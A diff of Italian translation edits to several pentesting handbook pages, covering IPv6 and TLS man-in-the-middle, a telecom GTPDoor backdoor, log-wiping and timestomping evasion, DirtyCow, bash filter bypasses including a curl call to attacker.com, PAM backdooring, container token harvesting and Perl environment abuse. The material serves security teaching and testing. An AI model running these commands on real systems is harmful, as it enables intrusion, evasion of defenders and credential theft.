-Alcuni sistemi operativi configurano per impostazione predefinita il gateway dai pacchetti RA inviati nella rete. Per dichiarare l'attaccante come router IPv6 puoi usare:
+Alcuni sistemi operativi configurano per impostazione predefinita il gateway dai pacchetti RA inviati nella rete. Per dichiarare l'attaccante come router IPv6, puoi usare:
 ```bash
 sysctl -w net.ipv6.conf.all.forwarding=1 4
 ip route add default via <ROUTER_IPv6> dev wlan0
@ -697,7 +697,7 @@ More info [qui](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Blac

 ### sslStrip+ e dns2proxy per bypassare HSTS

-La **differenza** tra **sslStrip+ e dns2proxy** rispetto a **sslStrip** è che essi **reindirizzeranno** ad esempio _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota l'**extra** "**w**") e imposteranno l'**indirizzo di questo dominio come l'IP dell'attaccante**. In questo modo, il **client** si **connetterà** a _**wwww.facebook.com**_ **(l'attaccante)** ma dietro le quinte **sslstrip+** **mantenere** la **vera connessione** via https con **www.facebook.com**.
+La **differenza** tra **sslStrip+ e dns2proxy** rispetto a **sslStrip** è che essi **reindirizzeranno** ad esempio _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota l'**extra** "**w**") e imposteranno l'**indirizzo di questo dominio come l'IP dell'attaccante**. In questo modo, il **client** si **connetterà** a _**wwww.facebook.com**_ **(l'attaccante)** ma dietro le quinte **sslstrip+** **mantenere** la **vera connessione** tramite https con **www.facebook.com**.

 L'**obiettivo** di questa tecnica è **evitare HSTS** perché _**wwww**.facebook.com_ **non sarà** salvato nella **cache** del browser, quindi il browser sarà ingannato a eseguire **l'autenticazione di facebook in HTTP**.\
 Nota che per eseguire questo attacco la vittima deve cercare di accedere inizialmente a [http://www.faceook.com](http://www.faceook.com) e non a https. Questo può essere fatto modificando i link all'interno di una pagina http.
@ -734,9 +734,9 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
 sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0
 ```
 A volte, se il cliente verifica che il CA è valido, potresti **servire un certificato di un altro hostname firmato da un CA**.\
-Un altro test interessante è **servire un certificato dell'hostname richiesto ma auto-firmato**.
+Un altro test interessante è servire un **certificato dell'hostname richiesto ma auto-firmato**.

-Altre cose da testare sono provare a firmare il certificato con un certificato valido che non è un CA valido. Oppure utilizzare la chiave pubblica valida, forzare l'uso di un algoritmo come Diffie-Hellman (uno che non richiede di decrittare nulla con la vera chiave privata) e quando il cliente richiede una prova della vera chiave privata (come un hash) inviare una prova falsa e aspettarsi che il cliente non controlli questo.
+Altre cose da testare sono provare a firmare il certificato con un certificato valido che non è un CA valido. Oppure utilizzare la chiave pubblica valida, forzare l'uso di un algoritmo come diffie hellman (uno che non richiede di decrittare nulla con la vera chiave privata) e quando il cliente richiede una prova della vera chiave privata (come un hash) inviare una prova falsa e aspettarsi che il cliente non controlli questo.

 ## Bettercap
 ```bash
@ -764,7 +764,7 @@ set wifi.ap.channel 5
 set wifi.ap.encryption false #If true, WPA2
 wifi.recon on; wifi.ap
 ```
-### Note di Scoperta Attiva
+### Note sulla Scoperta Attiva

 Tieni presente che quando un pacchetto UDP viene inviato a un dispositivo che non ha la porta richiesta, viene inviato un ICMP (Port Unreachable).

--- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md
@ -21,7 +21,7 @@ masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:
 ```
 ## 2. Enumerazione degli Abbonati – `cordscan`

-Il seguente strumento Go crea pacchetti di **Richiesta di Creazione PDP Context GTP-C** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogato e, a volte, il PLMN visitato dall'abbonato.
+Il seguente strumento Go crea pacchetti di **Richiesta di Creazione del Contesto PDP GTP-C** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogato e, a volte, il PLMN visitato dall'abbonato.
 ```bash
 # Build
 GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -42,7 +42,7 @@ common_tcp_ports  = "22,23,80,443,8080"
 ```
 ## 3. Esecuzione di Codice su GTP – `GTPDoor`

-`GTPDoor` è un piccolo servizio ELF che **lega UDP 2123 e analizza ogni pacchetto GTP-C in arrivo**. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. L'output stdout/stderr viene esfiltrato all'interno dei messaggi **Echo Response** in modo che non venga mai creata una sessione esterna.
+`GTPDoor` è un piccolo servizio ELF che **lega UDP 2123 e analizza ogni pacchetto GTP-C in arrivo**. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. L'output stdout/stderr viene estratto all'interno dei messaggi **Echo Response** in modo che non venga mai creata una sessione esterna.

 Pacchetto PoC minimo (Python):
 ```python
@ -81,11 +81,11 @@ Controlla che `GatewayPorts yes` sia abilitato sul VPS.
 |--------|-----------|------------|------|
 | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | chiave di 4 byte + chunk di 14 byte (XOR) | ascoltatore puramente passivo, nessun traffico in uscita |
 | DNS – `NoDepDNS` | UDP 53 | XOR (chiave = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sottodominio `*.nodep` |
-| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC in IE privato | si mescola con il legittimo chiacchiericcio GTP-C |
+| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC in IE privato | si mescola con il legittimo scambio GTP-C |

 Tutti gli impianti implementano watchdog che **timestomp** i loro binari e si riavviano se si bloccano.

-## 6. Cheatsheet per l'Evasione della Difesa
+## 6. Scheda di Evasione della Difesa
 ```bash
 # Remove attacker IPs from wtmp
 utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm    # appears as [kworker/1]
 touch -r /usr/bin/time /usr/bin/chargen   # timestomp
 setenforce 0                              # disable SELinux
 ```
-## 7. Escalation dei privilegi su NE legacy
+## 7. Escalazione dei privilegi su NE legacy
 ```bash
 # DirtyCow – CVE-2016-5195
 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -128,7 +128,7 @@ rm -f /tmp/sh ; history -c
 ## Idee di Rilevamento
 1. **Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce richieste di creazione del contesto PDP**.
 2. **Porte non standard (53, 80, 443) che ricevono handshake SSH** da IP interni.
-3. **Richieste Echo frequenti senza corrispondenti Risposte Echo** – potrebbero indicare beacon di GTPDoor.
+3. **Richieste Echo frequenti senza corrispondenti Risposte Echo** – potrebbero indicare beacon GTPDoor.
 4. **Alta frequenza di traffico ICMP echo-reply con campi identificatore/sequence grandi e non nulli**.

 ## Riferimenti
--- a/src/hardware-physical-access/firmware-analysis/README.md
+++ b/src/hardware-physical-access/firmware-analysis/README.md
@ -21,7 +21,7 @@ Il firmware è un software essenziale che consente ai dispositivi di funzionare

 A questo scopo, gli strumenti di **intelligence open-source (OSINT)** sono inestimabili, così come l'analisi di eventuali componenti software open-source disponibili attraverso processi di revisione manuale e automatizzati. Strumenti come [Coverity Scan](https://scan.coverity.com) e [Semmle’s LGTM](https://lgtm.com/#explore) offrono analisi statica gratuita che può essere sfruttata per trovare potenziali problemi.

-## **Acquisire il Firmware**
+## **Acquisizione del Firmware**

 Ottenere il firmware può essere affrontato attraverso vari mezzi, ognuno con il proprio livello di complessità:

@ -37,7 +37,7 @@ Ottenere il firmware può essere affrontato attraverso vari mezzi, ognuno con il
 - **Dumping** dal bootloader o dalla rete
 - **Rimuovendo e leggendo** il chip di memoria, quando tutto il resto fallisce, utilizzando strumenti hardware appropriati

-## Analizzare il firmware
+## Analizzando il firmware

 Ora che **hai il firmware**, devi estrarre informazioni su di esso per sapere come trattarlo. Diversi strumenti che puoi utilizzare per questo:
 ```bash
@ -91,7 +91,7 @@ Alternativamente, il seguente comando potrebbe essere eseguito.

 `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`

- Per squashfs (utilizzato nell'esempio sopra)
+- Per squashfs (usato nell'esempio sopra)

 `$ unsquashfs dir.squashfs`

@ -126,19 +126,19 @@ hexdump -C -n 512 <bin> > hexdump.out
 hexdump -C <bin> | head #useful for finding signatures in the header
 fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
 ```
-Per valutare lo stato della crittografia dell'immagine, si controlla l'**entropia** con `binwalk -E <bin>`. Un'entropia bassa suggerisce una mancanza di crittografia, mentre un'entropia alta indica una possibile crittografia o compressione.
+Per valutare lo stato di crittografia dell'immagine, si controlla l'**entropia** con `binwalk -E <bin>`. Un'entropia bassa suggerisce una mancanza di crittografia, mentre un'entropia alta indica una possibile crittografia o compressione.

-Per estrarre i **file incorporati**, si raccomandano strumenti e risorse come la documentazione di **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file.
+Per estrarre i **file incorporati**, si raccomandano strumenti e risorse come la documentazione **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file.

 ### Estrazione del Filesystem

-Utilizzando `binwalk -ev <bin>`, è possibile solitamente estrarre il filesystem, spesso in una directory chiamata con il tipo di filesystem (ad esempio, squashfs, ubifs). Tuttavia, quando **binwalk** non riesce a riconoscere il tipo di filesystem a causa di byte magici mancanti, è necessaria un'estrazione manuale. Questo comporta l'uso di `binwalk` per localizzare l'offset del filesystem, seguito dal comando `dd` per estrarre il filesystem:
+Utilizzando `binwalk -ev <bin>`, è possibile solitamente estrarre il filesystem, spesso in una directory chiamata in base al tipo di filesystem (ad esempio, squashfs, ubifs). Tuttavia, quando **binwalk** non riesce a riconoscere il tipo di filesystem a causa di byte magici mancanti, è necessaria un'estrazione manuale. Questo comporta l'uso di `binwalk` per localizzare l'offset del filesystem, seguito dal comando `dd` per estrarre il filesystem:
 ```bash
 $ binwalk DIR850L_REVB.bin

 $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 ```
-Dopo, a seconda del tipo di filesystem (ad es. squashfs, cpio, jffs2, ubifs), vengono utilizzati comandi diversi per estrarre manualmente i contenuti.
+Dopo, a seconda del tipo di filesystem (ad es., squashfs, cpio, jffs2, ubifs), vengono utilizzati comandi diversi per estrarre manualmente i contenuti.

 ### Analisi del Filesystem

@ -164,9 +164,9 @@ Sia il codice sorgente che i binari compilati trovati nel filesystem devono esse

 ## Emulazione del Firmware per Analisi Dinamica

-Il processo di emulazione del firmware consente un'**analisi dinamica** sia del funzionamento di un dispositivo che di un singolo programma. Questo approccio può incontrare sfide con dipendenze hardware o architetturali, ma trasferire il filesystem root o binari specifici su un dispositivo con architettura e endianness corrispondenti, come un Raspberry Pi, o su una macchina virtuale pre-costruita, può facilitare ulteriori test.
+Il processo di emulazione del firmware consente un'**analisi dinamica** sia del funzionamento di un dispositivo che di un programma individuale. Questo approccio può incontrare sfide con dipendenze hardware o architetturali, ma trasferire il filesystem root o binari specifici su un dispositivo con architettura e endianness corrispondenti, come un Raspberry Pi, o su una macchina virtuale pre-costruita, può facilitare ulteriori test.

-### Emulazione di Singoli Binari
+### Emulazione di Binari Individuali

 Per esaminare singoli programmi, è cruciale identificare l'endianness e l'architettura CPU del programma.

@ -196,7 +196,7 @@ A questo stadio, viene utilizzato un ambiente di dispositivo reale o emulato per

 ## Tecniche di Analisi in Esecuzione

-L'analisi in esecuzione implica l'interazione con un processo o binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare punti di interruzione e identificare vulnerabilità attraverso fuzzing e altre tecniche.
+L'analisi in esecuzione implica l'interazione con un processo o binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare breakpoint e identificare vulnerabilità attraverso fuzzing e altre tecniche.

 ## Sfruttamento Binario e Proof-of-Concept

@ -234,7 +234,7 @@ Host: 192.168.0.1
 Content-Type: application/octet-stream
 Content-Length: 0
 ```
-Nel firmware vulnerabile (downgradato), il parametro `md5` è concatenato direttamente in un comando shell senza sanificazione, consentendo l'iniezione di comandi arbitrari (qui – abilitazione dell'accesso root basato su chiave SSH). Le versioni firmware successive hanno introdotto un filtro di caratteri di base, ma l'assenza di protezione contro il downgrade rende la correzione inutile.
+Nel firmware vulnerabile (downgradato), il parametro `md5` è concatenato direttamente in un comando shell senza sanificazione, consentendo l'iniezione di comandi arbitrari (qui – abilitando l'accesso root basato su chiave SSH). Le versioni firmware successive hanno introdotto un filtro di caratteri di base, ma l'assenza di protezione contro il downgrade rende la correzione inutile.

 ### Estrazione del Firmware da App Mobili

--- a/src/linux-hardening/bypass-bash-restrictions/README.md
+++ b/src/linux-hardening/bypass-bash-restrictions/README.md
@ -202,7 +202,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
 /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
 ```
-### Bypass potenziali regex
+### Bypassare potenziali regex
 ```bash
 # A regex that only allow letters and numbers might be vulnerable to new line characters
 1%0a`curl http://attacker.com`
@ -308,7 +308,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
 ../privilege-escalation/escaping-from-limited-bash.md
 {{#endref}}

-## Bash NOP Sled Basato su Spazio ("Bashsledding")
+## NOP Sled Basato su Spazio ("Bashsledding")

 Quando una vulnerabilità ti consente di controllare parzialmente un argomento che alla fine raggiunge `system()` o un'altra shell, potresti non conoscere l'offset esatto in cui l'esecuzione inizia a leggere il tuo payload. I tradizionali NOP sled (ad es. `\x90`) **non** funzionano nella sintassi della shell, ma Bash ignorerà in modo innocuo gli spazi bianchi iniziali prima di eseguire un comando.

@ -328,12 +328,12 @@ Casi d'uso pratici:

 > 🛠️  Combina questo trucco con gadget ROP che chiamano `system()` per aumentare drasticamente l'affidabilità dell'exploit su router IoT con memoria limitata.

-## Riferimenti e altro
+## Riferimenti e ulteriori informazioni

 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
 - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
 - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
+- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju

 - [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)

--- a/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md
+++ b/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md
@ -39,12 +39,12 @@ I controlli determinano la risposta del modulo al successo o al fallimento, infl

 - **Required**: Il fallimento di un modulo richiesto porta a un eventuale fallimento, ma solo dopo che tutti i moduli successivi sono stati controllati.
 - **Requisite**: Terminazione immediata del processo in caso di fallimento.
- **Sufficient**: Il successo bypassa i controlli degli altri moduli dello stesso reame a meno che un modulo successivo non fallisca.
+- **Sufficient**: Il successo bypassa il resto dei controlli dello stesso reame a meno che un modulo successivo non fallisca.
 - **Optional**: Causa fallimento solo se è l'unico modulo nello stack.

 #### Scenario Esemplare

-In una configurazione con più moduli di autenticazione, il processo segue un ordine rigoroso. Se il modulo `pam_securetty` trova il terminale di accesso non autorizzato, i login come root vengono bloccati, ma tutti i moduli vengono comunque elaborati a causa del suo stato "required". Il `pam_env` imposta le variabili di ambiente, potenzialmente migliorando l'esperienza dell'utente. I moduli `pam_ldap` e `pam_unix` lavorano insieme per autenticare l'utente, con `pam_unix` che tenta di utilizzare una password fornita in precedenza, migliorando l'efficienza e la flessibilità nei metodi di autenticazione.
+In una configurazione con più moduli di autenticazione, il processo segue un ordine rigoroso. Se il modulo `pam_securetty` trova il terminale di accesso non autorizzato, i login come root vengono bloccati, ma tutti i moduli vengono comunque elaborati a causa del suo stato "required". Il `pam_env` imposta le variabili ambientali, potenzialmente aiutando nell'esperienza utente. I moduli `pam_ldap` e `pam_unix` lavorano insieme per autenticare l'utente, con `pam_unix` che tenta di utilizzare una password fornita in precedenza, migliorando l'efficienza e la flessibilità nei metodi di autenticazione.


 ## Backdooring PAM – Hooking `pam_unix.so`
@ -92,8 +92,8 @@ chmod 644 /lib/security/pam_unix.so     # keep original perms
 touch -r /bin/ls /lib/security/pam_unix.so  # timestomp
 ```
 ### OpSec Tips
-1. **Atomic overwrite** – scrivi in un file temporaneo e `mv` nel posto giusto per evitare librerie scritte a metà che bloccherebbero SSH.
-2. Il posizionamento dei file di log come `/usr/bin/.dbus.log` si fonde con artefatti desktop legittimi.
+1. **Atomic overwrite** – scrivi in un file temporaneo e `mv` nella posizione per evitare librerie scritte a metà che bloccherebbero SSH.
+2. La posizione del file di log come `/usr/bin/.dbus.log` si fonde con artefatti desktop legittimi.
 3. Mantieni le esportazioni dei simboli identiche (`pam_sm_setcred`, ecc.) per evitare comportamenti anomali di PAM.

 ### Detection
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@ -74,7 +74,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Controlla l'accesso a modprobe

 #### **`/proc/sysrq-trigger`**

- Consente di invocare comandi Sysrq, potenzialmente causando riavvii immediati del sistema o altre azioni critiche.
+- Consente di invocare comandi Sysrq, causando potenzialmente riavvii immediati del sistema o altre azioni critiche.
 - **Esempio di Riavvio Host**:

 ```bash
@ -108,25 +108,25 @@ echo b > /proc/sysrq-trigger # Riavvia l'host

 #### **`/proc/kmem`**

- Interfaccia alternativa per `/dev/kmem`, che rappresenta la memoria virtuale del kernel.
+- Interfaccia alternativa per `/dev/kmem`, rappresenta la memoria virtuale del kernel.
 - Consente la lettura e la scrittura, quindi la modifica diretta della memoria del kernel.

 #### **`/proc/mem`**

- Interfaccia alternativa per `/dev/mem`, che rappresenta la memoria fisica.
+- Interfaccia alternativa per `/dev/mem`, rappresenta la memoria fisica.
 - Consente la lettura e la scrittura, la modifica di tutta la memoria richiede la risoluzione degli indirizzi virtuali in fisici.

 #### **`/proc/sched_debug`**

- Restituisce informazioni sulla pianificazione dei processi, eludendo le protezioni dello spazio dei nomi PID.
- Espone nomi di processi, ID e identificatori cgroup.
+- Restituisce informazioni sulla pianificazione dei processi, bypassando le protezioni dello spazio dei nomi PID.
+- Espone nomi di processi, ID e identificatori di cgroup.

 #### **`/proc/[pid]/mountinfo`**

 - Fornisce informazioni sui punti di montaggio nello spazio dei nomi di montaggio del processo.
 - Espone la posizione del `rootfs` o dell'immagine del container.

-### Vulnerabilità di `/sys`
+### Vulnerabilità in `/sys`

 #### **`/sys/kernel/uevent_helper`**

@ -249,7 +249,7 @@ The container can read K8s serviceaccount tokens or AWS webidentity tokens
 which allows the container to gain unauthorized access to K8s or cloud:

 ```bash
-/ # trova /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
+/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
 /host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
 <SNIP>
 /host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
@ -273,10 +273,10 @@ So the filesystems are under `/var/lib/docker/overlay2/`:
 ```bash
 $ sudo ls -la /var/lib/docker/overlay2

-drwx--x---  4 root root  4096 9 Gen  22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d  
-drwx--x---  4 root root  4096 11 Gen 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496  
-drwx--x---  4 root root  4096 9 Gen  21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f  
-drwx--x---  4 root root  4096 9 Gen  21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2  
+drwx--x---  4 root root  4096 9 gen  22:14  00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
+drwx--x---  4 root root  4096 11 gen 17:00  03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
+drwx--x---  4 root root  4096 9 gen  21:23  049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
+drwx--x---  4 root root  4096 9 gen  21:22  062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
 <SNIP>
 ```

--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
@ -35,11 +35,11 @@ export PERL5DB='system("/bin/zsh")'
 sudo perl -d /usr/bin/some_admin_script.pl   # aprirà una shell prima di eseguire lo script
 ```

-* **`PERL5SHELL`** – su Windows questa variabile controlla quale eseguibile della shell Perl utilizzerà quando deve avviare una shell. Viene menzionata qui solo per completezza, poiché non è rilevante su macOS.
+* **`PERL5SHELL`** – su Windows, questa variabile controlla quale eseguibile della shell Perl utilizzerà quando deve generare una shell. Viene menzionata qui solo per completezza, poiché non è rilevante su macOS.

 Sebbene `PERL5DB` richieda l'opzione `-d`, è comune trovare script di manutenzione o di installazione che vengono eseguiti come *root* con questo flag abilitato per la risoluzione dei problemi dettagliata, rendendo la variabile un vettore di escalation valido.

-## Via dipendenze (@INC abuse)
+## Via dipendenze (abuso di @INC)

 È possibile elencare il percorso di inclusione che Perl cercherà (**`@INC`**) eseguendo:
 ```bash
@ -57,16 +57,16 @@ L'output tipico su macOS 13/14 appare come:
 /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
 /System/Library/Perl/Extras/5.30
 ```
-Alcune delle cartelle restituite non esistono nemmeno, tuttavia **`/Library/Perl/5.30`** esiste, *non* è protetta da SIP ed è *prima* delle cartelle protette da SIP. Pertanto, se puoi scrivere come *root* puoi inserire un modulo malevolo (ad es. `File/Basename.pm`) che sarà *preferenzialmente* caricato da qualsiasi script privilegiato che importa quel modulo.
+Alcune delle cartelle restituite non esistono nemmeno, tuttavia **`/Library/Perl/5.30`** esiste, *non* è protetta da SIP ed è *prima* delle cartelle protette da SIP. Pertanto, se puoi scrivere come *root*, puoi inserire un modulo malevolo (ad es. `File/Basename.pm`) che sarà *preferenzialmente* caricato da qualsiasi script privilegiato che importa quel modulo.

 > [!WARNING]
-> Hai ancora bisogno di **root** per scrivere all'interno di `/Library/Perl` e macOS mostrerà un prompt **TCC** che chiede *Accesso completo al disco* per il processo che esegue l'operazione di scrittura.
+> Hai ancora bisogno di **root** per scrivere all'interno di `/Library/Perl` e macOS mostrerà un prompt **TCC** che chiede *Accesso Completo al Disco* per il processo che esegue l'operazione di scrittura.

-Ad esempio, se uno script importa **`use File::Basename;`** sarebbe possibile creare `/Library/Perl/5.30/File/Basename.pm` contenente codice controllato dall'attaccante.
+Ad esempio, se uno script importa **`use File::Basename;`**, sarebbe possibile creare `/Library/Perl/5.30/File/Basename.pm` contenente codice controllato dall'attaccante.

-## Bypass di SIP tramite Migration Assistant (CVE-2023-32369 “Migraine”)
+## Bypass SIP tramite Migration Assistant (CVE-2023-32369 “Migraine”)

-Nel maggio 2023 Microsoft ha divulgato **CVE-2023-32369**, soprannominato **Migraine**, una tecnica di post-exploitation che consente a un attaccante *root* di **bypassare completamente la Protezione dell'integrità di sistema (SIP)**. 
+Nel maggio 2023 Microsoft ha divulgato **CVE-2023-32369**, soprannominato **Migraine**, una tecnica di post-exploitation che consente a un attaccante *root* di **bypassare completamente la Protezione dell'Integrità di Sistema (SIP)**. 
 Il componente vulnerabile è **`systemmigrationd`**, un demone dotato di **`com.apple.rootless.install.heritable`**. Qualsiasi processo figlio generato da questo demone eredita il diritto e quindi viene eseguito **al di fuori** delle restrizioni SIP.

 Tra i figli identificati dai ricercatori c'è l'interprete firmato da Apple:
@ -89,8 +89,8 @@ Apple ha risolto il problema in macOS **Ventura 13.4**, **Monterey 12.6.6** e **

 1. **Pulisci le variabili pericolose** – i launchdaemons privilegiati o i cron job dovrebbero avviarsi con un ambiente pulito (`launchctl unsetenv PERL5OPT`, `env -i`, ecc.).
 2. **Evita di eseguire interpreti come root** a meno che non sia strettamente necessario. Usa binari compilati o riduci i privilegi presto.
-3. **Fornisci script con `-T` (modalità taint)** in modo che Perl ignori `PERL5OPT` e altri switch non sicuri quando il controllo di taint è abilitato.
-4. **Tieni macOS aggiornato** – “Migraine” è completamente patchato nelle versioni attuali.
+3. **Fornisci script con `-T` (modalità taint)** in modo che Perl ignori `PERL5OPT` e altri switch non sicuri quando il controllo taint è abilitato.
+4. **Mantieni macOS aggiornato** – “Migraine” è completamente patchato nelle versioni attuali.

 ## Riferimenti

--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
@ -28,7 +28,7 @@ Apple Remote Desktop (ARD) è una versione avanzata di [Virtual Network Computin

 Le istanze vulnerabili possono essere identificate utilizzando lo script `vnc-info` di **nmap**. I servizi che supportano `VNC Authentication (2)` sono particolarmente suscettibili ad attacchi di forza bruta a causa della troncatura della password a 8 caratteri.

-Per abilitare ARD per vari compiti amministrativi come l'escalation dei privilegi, l'accesso GUI o il monitoraggio degli utenti, usa il seguente comando:
+Per abilitare ARD per vari compiti amministrativi come l'escalation dei privilegi, l'accesso GUI o il monitoraggio degli utenti, utilizzare il seguente comando:
 ```bash
 sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
 ```
@ -58,7 +58,7 @@ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockapp /System/Libra

 ## Bonjour Protocol

-Bonjour, una tecnologia progettata da Apple, consente **ai dispositivi sulla stessa rete di rilevare i servizi offerti l'uno dall'altro**. Conosciuto anche come Rendezvous, **Zero Configuration**, o Zeroconf, consente a un dispositivo di unirsi a una rete TCP/IP, **scegliere automaticamente un indirizzo IP**, e trasmettere i propri servizi ad altri dispositivi di rete.
+Bonjour, una tecnologia progettata da Apple, consente **ai dispositivi sulla stessa rete di rilevare i servizi offerti l'uno dall'altro**. Conosciuto anche come Rendezvous, **Zero Configuration**, o Zeroconf, consente a un dispositivo di unirsi a una rete TCP/IP, **scegliere automaticamente un indirizzo IP** e trasmettere i propri servizi ad altri dispositivi di rete.

 La Zero Configuration Networking, fornita da Bonjour, garantisce che i dispositivi possano:

@ -70,7 +70,7 @@ I dispositivi che utilizzano Bonjour si assegneranno un **indirizzo IP dall'inte

 Per DNS, Bonjour utilizza il **protocollo Multicast DNS (mDNS)**. mDNS opera su **porta 5353/UDP**, impiegando **query DNS standard** ma mirate all'**indirizzo multicast 224.0.0.251**. Questo approccio garantisce che tutti i dispositivi in ascolto sulla rete possano ricevere e rispondere alle query, facilitando l'aggiornamento dei loro record.

-All'unirsi alla rete, ogni dispositivo seleziona autonomamente un nome, che di solito termina in **.local**, derivato dal nome host o generato casualmente.
+All'unirsi alla rete, ogni dispositivo seleziona autonomamente un nome, che di solito termina con **.local**, derivato dal nome host o generato casualmente.

 La scoperta dei servizi all'interno della rete è facilitata da **DNS Service Discovery (DNS-SD)**. Sfruttando il formato dei record DNS SRV, DNS-SD utilizza **record DNS PTR** per abilitare l'elenco di più servizi. Un client che cerca un servizio specifico richiederà un record PTR per `<Service>.<Domain>`, ricevendo in cambio un elenco di record PTR formattati come `<Instance>.<Service>.<Domain>` se il servizio è disponibile da più host.

@ -92,11 +92,11 @@ dns-sd -R "Index" _http._tcp . 80 path=/index.html
 ```
 Questo comando registra un servizio HTTP chiamato "Index" sulla porta 80 con un percorso di `/index.html`.

-Per cercare quindi servizi HTTP sulla rete:
+Per cercare quindi i servizi HTTP sulla rete:
 ```bash
 dns-sd -B _http._tcp
 ```
-Quando un servizio si avvia, annuncia la sua disponibilità a tutti i dispositivi sulla subnet multicasting la sua presenza. I dispositivi interessati a questi servizi non devono inviare richieste, ma semplicemente ascoltare questi annunci.
+Quando un servizio si avvia, annuncia la sua disponibilità a tutti i dispositivi sulla subnet multicastando la sua presenza. I dispositivi interessati a questi servizi non devono inviare richieste, ma semplicemente ascoltare questi annunci.

 Per un'interfaccia più user-friendly, l'app **Discovery - DNS-SD Browser** disponibile su Apple App Store può visualizzare i servizi offerti sulla tua rete locale.

@ -131,7 +131,7 @@ nmap -sU -p 5353 --script=dns-service-discovery <target>

 Lo script `dns-service-discovery` invia una query `_services._dns-sd._udp.local` e poi enumera ciascun tipo di servizio pubblicizzato.

